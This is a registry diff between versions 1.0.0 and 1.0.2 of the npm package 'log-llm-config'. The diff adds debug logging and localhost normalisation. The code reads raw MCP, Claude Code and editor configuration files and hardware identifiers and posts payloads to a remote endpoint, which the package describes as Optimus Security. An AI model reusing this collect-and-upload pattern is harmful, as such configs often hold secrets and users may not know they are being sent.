log-llm-config 1.0.0 → 1.0.2

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
@@ -4,10 +4,15 @@ import { URL } from 'node:url';
4
4
  export const postStartupPayload = async (endpointUrl, body, timeoutMs = 5000) => {
5
5
  const url = new URL(endpointUrl);
6
6
  const isHttps = url.protocol === 'https:';
7
+ // Normalize localhost to 127.0.0.1 to avoid IPv6 resolution issues
8
+ let hostname = url.hostname;
9
+ if (hostname === 'localhost' || hostname === '::1') {
10
+ hostname = '127.0.0.1';
11
+ }
7
12
  const payload = JSON.stringify(body);
8
13
  console.log('Sending payload to endpoint:', endpointUrl, payload);
9
14
  const requestOptions = {
10
- hostname: url.hostname,
15
+ hostname: hostname,
11
16
  port: url.port || (isHttps ? 443 : 80),
12
17
  path: `${url.pathname}${url.search}`,
13
18
  method: 'POST',
@@ -141,8 +141,12 @@ function readVSCDBState() {
141
141
  */
142
142
  function collectConfigFiles() {
143
143
  const configFiles = [];
144
+ console.log(`Collecting config files from project root: ${PROJECT_ROOT}`);
145
+ console.log(`Current working directory: ${process.cwd()}`);
146
+ console.log(`Home directory: ${homedir()}`);
144
147
  // Read MCP configs
145
148
  for (const configPath of MCP_CONFIG_PATHS) {
149
+ console.log(`Checking MCP config path: ${configPath}`);
146
150
  const mcpConfig = readMCPConfig(configPath);
147
151
  if (mcpConfig) {
148
152
  console.log(`Found MCP config at: ${configPath}`);
@@ -152,10 +156,14 @@ function collectConfigFiles() {
152
156
  raw_content: mcpConfig,
153
157
  });
154
158
  }
159
+ else {
160
+ console.log(`MCP config not found at: ${configPath}`);
161
+ }
155
162
  }
156
163
  // Read JSON files - collect all levels (enterprise, project, user) so we can display them all
157
164
  for (const { path, file_type } of JSON_FILE_PATHS) {
158
165
  try {
166
+ console.log(`Checking ${file_type} path: ${path}`);
159
167
  const jsonContent = readJSONFile(path);
160
168
  if (jsonContent) {
161
169
  console.log(`Found ${file_type} at: ${path}`);
@@ -166,6 +174,7 @@ function collectConfigFiles() {
166
174
  });
167
175
  }
168
176
  else {
177
+ console.log(`${file_type} not found at: ${path}`);
169
178
  // Log when file doesn't exist (useful for debugging enterprise files)
170
179
  if (path.includes('/Library/Application Support/ClaudeCode/')) {
171
180
  console.log(`Enterprise file not found (may require sudo): ${path}`);
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "log-llm-config",
3
- "version": "1.0.0",
3
+ "version": "1.0.2",
4
4
  "description": "CLI helpers for logging hardware UUIDs and posting startup payloads to Optimus Security.",
5
5
  "type": "module",
6
6
  "bin": {